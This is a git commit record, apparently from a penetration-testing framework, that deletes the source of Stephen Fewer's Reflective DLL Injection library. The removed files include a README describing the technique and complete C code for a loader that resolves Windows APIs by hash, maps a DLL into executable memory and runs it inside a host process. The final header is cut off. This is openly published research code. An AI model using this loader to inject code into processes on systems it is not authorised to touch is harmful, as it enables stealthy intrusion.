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bug/bundler_fix
jvazquez-r7 2013-07-17 11:47:06 -05:00
parent 11f8b351c0
commit c7361043ae
15 changed files with 0 additions and 2283 deletions

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Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of Harmony Security nor the names of its contributors may be used to
endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.

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About
=====
Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host.
Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable.
Overview
========
The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory.
Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows.
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table.
* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on.
* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.
* The library's headers and sections are loaded into their new locations in memory.
* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses.
* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table.
* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory.
* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate.
Build
=====
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll
Usage
=====
To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.:
> inject.exe 1234
License
=======
Licensed under a 3 clause BSD license, please see LICENSE.txt for details.

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<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
</Project>

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//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//

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//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
//===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
run();
ExitProcess(0);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

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//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the madule name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;
// get the next entry
uiValueA = DEREF( uiValueA );
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all imports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF(uiValueA) )
{
// sanity check uiValueD as some compilers only import by FirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we itterate through all entries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA = the VA for this relocation block
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// uiValueB = number of entries in this relocation block
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while( uiValueB-- )
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
// flip the words to get the instruction as expected
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
// sanity chack we are processing a MOV instruction...
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)( dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
}
}
#endif
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof( IMAGE_RELOC );
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//

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//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
